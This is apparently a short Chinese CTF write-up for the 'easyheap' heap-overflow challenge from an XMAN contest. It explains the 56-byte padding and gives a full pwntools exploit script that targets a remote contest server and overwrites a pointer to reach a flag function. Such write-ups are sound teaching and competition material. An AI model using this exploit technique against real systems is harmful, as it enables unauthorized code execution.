XMAN个人排位赛

easyheap：

---

本题是简单的堆溢出，我们先将文件运行一下，看下程序想要执行的具体功能是什么。

可以看到该程序是一个常见的菜单程序，将程序放入IDA进行反编译。

根据malloc函数和qword_602098+8可以计算出填充字符大小为0x20+0x10+8=56

知道这些之后就可以直接写脚本了

```

from pwn import *

target = remote('202.112.51.217',24598)

#target = process("./easyheap.easyheap")这是本地的

flag = 0x400766

payload = 'A' *56 + p64(flag)

target.recvuntil('name?\n')

target.sendline('1')

target.recvuntil('choice :')

target.sendline('1')

target.recvuntil('Name:\n')

target.sendline('1')

target.recvuntil('choice :')

target.sendline('3')

target.recvuntil('info:\n')

target.sendline(payload)

target.recvuntil('choice :')

target.sendline('2')

target.interactive()

```